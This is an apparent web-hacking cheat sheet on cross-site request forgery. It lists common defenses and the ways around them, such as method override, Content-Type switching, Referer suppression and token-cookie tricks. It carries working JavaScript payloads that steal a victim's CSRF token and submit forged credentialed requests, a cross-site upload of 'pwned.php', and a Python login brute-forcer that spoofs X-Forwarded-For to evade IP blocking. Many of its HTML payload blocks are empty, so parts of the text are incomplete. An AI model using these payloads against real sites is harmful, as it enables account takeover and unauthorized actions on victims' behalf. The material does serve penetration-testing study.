# CSRF (Cross-Site Request Forgery)
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
## Common Defenses
* SameSite cookies
* Cross-origin resource sharing
* Ask for the password user to authorise the action
* Resolve a captcha
* Read the **Referrer** or **Origin** headers
If a regex is used it could be bypassed form example with:
* http://mal.net?orig=http://example.com (ends with the url)
* http://example.com.mal.net (starts with the url)
* Modify the name of the parameters of the **Post** or **Get** request
* Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
## Defences Bypass
### 1. From POST to GET
### 2. Lack of token
Some applications correctly validate the token when it is present but skip the validation if the token is omitted.
### 3. CSRF token is not tied to the user session
### 4. Method bypass
If the request is using a "weird" method, check if the method override functionality is working.
For example, if it's using a `PUT` method you can try to use a `POST` method and send: https://example.com/my/dear/api/val/num?_method=PUT
This could also works sending the `_method` parameter inside the a `POST` request or using the headers:
* `X-HTTP-Method`
* `X-HTTP-Method-Override`
* `X-Method-Override`
### 5. Custom header token bypass
If the request is adding a custom header with a token to the request as CSRF protection method, then:
* Test the request without the Customized Token and also header
* Test the request with exact same length but different token
### 6. CSRF token is verified by a cookie
Some applications duplicate each token within a cookie and a request parameter. Or the set a csrf cookie and the checks in the backend if the csrf token sent is the one related with the cookie.
* you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example
```html
```
> Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself.
### 7. Content-Type change
in order to avoid preflight requests using `POST` method these are the allowed Content-Type values:
* `application/x-www-form-urlencoded`
* `multipart/form-data`
* `text/plain`
sending JSON data as text/plain
```html
```
### 8. Referrer / Origin check bypass
Avoid Referrer header
```html
```
To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
```html
```
## Exploit
### Exfiltrating CSRF Token
If a CSRF token is being used as defence you could try to exfiltrate it abusing a **XSS** vulnerability or a **Dangling Markup** vulnerability.
### GET using HTML tags
```html
404 - Page not found
The URL you are requesting is no longer available
```
Other HTML5 tags that can be used to **automatically** send a `GET` request are:
![get](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/0bb0e0ba-2fd5-4d2e-92a0-eec99fc34cec)
### Form GET request
```html
```
### Form POST request
```html
```
### Form POST request through iframe
```html
```
### Ajax POST request
```html
```
### multipart/form-data POST request
```javascript
myFormData = new FormData();
var blob = new Blob([""], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### multipart/form-data POST request v2
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### HTML POST - AutoSubmit - No User Interaction
```html
```
### JSON GET - Simple Request
```html
```
### JSON POST - Simple Request
```html
```
### JSON POST - Complex Request
```html
```
### Form POST request from within an iframe
```html
<--! expl.html -->
Sitio bajo mantenimiento. Disculpe las molestias
```
### Steal CSRF Token and send a POST request
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### Steal CSRF Token and send a Post request using an iframe, a form and Ajax
```html
```
### Steal CSRF Token and sen a POST request using an iframe and a form
```html
```
### Steal token and send it using 2 iframes
```html
```
### POST Steal CSRF token with Ajax and send a post with a form
```html
```
### CSRF with Socket.IO
```html
```
## CSRF Login Brute Force
The code can be used to Brut Force a login form using a CSRF token (It's also using the header `X-Forwarded-For` to try to bypass a possible IP blacklisting):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## CSRF map
![csrf](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/ae6145d7-73cf-4881-9919-2ebe1a53f2b3)
## Tools
* https://github.com/0xInfection/XSRFProbe
* https://github.com/merttasci/csrf-poc-generator